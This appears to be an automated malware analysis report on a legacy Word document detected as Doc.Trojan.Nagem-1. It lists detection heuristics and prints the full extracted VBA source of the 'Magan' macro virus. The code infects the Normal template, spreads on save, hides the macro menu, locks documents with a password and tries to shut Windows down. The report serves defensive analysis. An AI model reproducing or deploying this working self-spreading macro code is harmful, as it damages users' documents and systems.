MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing VBA macros, identified by ClamAV as Doc.Trojan.Nagem-1. The AutoOpen macro attempts to infect the Normal.dot template by exporting and importing the 'Magan_Macro' component, a common technique for establishing persistence or spreading malware. The presence of legacy WordBasic markers and the AutoOpen/Auto_Close macros further indicate a macro-based threat.
Heuristics 6
-
ClamAV: Doc.Trojan.Nagem-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Nagem-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "RunDLL.EXE USER,ExitWindows", vbHide -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3508 bytes |
SHA-256: 56c4b59354097f09bc2b189adca38501d8e560f4c31601415f5f7871ba425fc9 |
|||
|
Detection
ClamAV:
Doc.Trojan.Nagem-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Magan_Macro"
' Distributed for Changes/Upgradation etc. in
'Open Source Code.
' If you are interested in developing,modifying,
'crypting etc. this document using your skills,
'you are FREE to do so.
' Don't forget to give credits also to
'"Anonymous Creater of Megan V1.0"
' Nick of course is Magan
' Best of Luck
' Explanation Also Included.
Dim Ni, Di As Integer
Sub AutoOpen()
'There are no destructive routines in
'this document.
On Error GoTo 1
'Find if Normal is already infected!
With Normal.ThisDocument.VBProject.VBComponents
For Ni = 1 To .Count
If (.Item(Ni).Name = "Magan_Macro") Then
GoTo 3
End If
Next Ni
End With
'Infect Normal
With ThisDocument.VBProject.VBComponents
For Di = 1 To .Count
If (.Item(Di).Name = "Magan_Macro") Then
.Item(Di).Export ("MaganM.BAS")
' I know that the above is not the best way, still,
'It is the easiest to understand.
Normal.ThisDocument.VBProject.VBComponents.Add(1).CodeModule.AddFromFile ("MaganM.BAS")
Kill ("MaganM.BAS")
Exit For
End If
Next Di
End With
GoTo 2
3
With ActiveDocument.VBProject.VBComponents
For Ni = 1 To .Count
If (.Item(Ni).Name = "Magan_Macro") Then
GoTo 1
End If
Next Ni
End With
With Normal.ThisDocument.VBProject.VBComponents
For Di = 1 To .Count
If (.Item(Di).Name = "Magan_Macro") Then
.Item(Di).Export ("MaganM.BAS")
ActiveDocument.VBProject.VBComponents.Add(1).CodeModule.AddFromFile ("MaganM.BAS")
Kill ("MaganM.BAS")
Exit For
End If
Next Di
End With
ActiveDocument.Saved = False
2
Normal.ThisDocument.Saved = False
1
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Disables the Tools->Macro->Macros... command under English version of Word."
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.ToolsMacro1"
'This macro disables the Tools->Macros->Macros...
'Command under English version of Word.
'If you are here, you know the in and out of the
'macro programming i belive.
MsgBox "This Command is Unavaliable this time.", vbCritical, "Microsoft Word"
End Sub
Sub AutoClose()
'No fun without an activation routine.
On Error Resume Next
If (Val(Left$(Date$, 2)) > 20) Then
'Change "password" to Rnd*100 if you like!
'Then, the document can never be unprotected again.
ActiveDocument.Protect wdAllowOnlyComments, , "password"
End If
If (Val(Left$(Date$, 2)) > 10) Then
If (Rnd * 100 < 50) Then
'Quits without saving :)
'Then tries Restarts the Computer
'Restart works only if there is a delay
Shell "RunDLL.EXE USER,ExitWindows", vbHide
ThisDocument.Application.Quit
End If
End If
End Sub
Sub FileSave()
'Just to Spread.
'Note : Works only under English Version.
On Error Resume Next
AutoOpen
ActiveDocument.Save
End Sub
Sub FileSaveAs()
'Just to Spread.
'Note : Works only under English Version.
On Error Resume Next
AutoOpen
Dialogs(wdDialogFileSaveAs).Show
AutoOpen
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.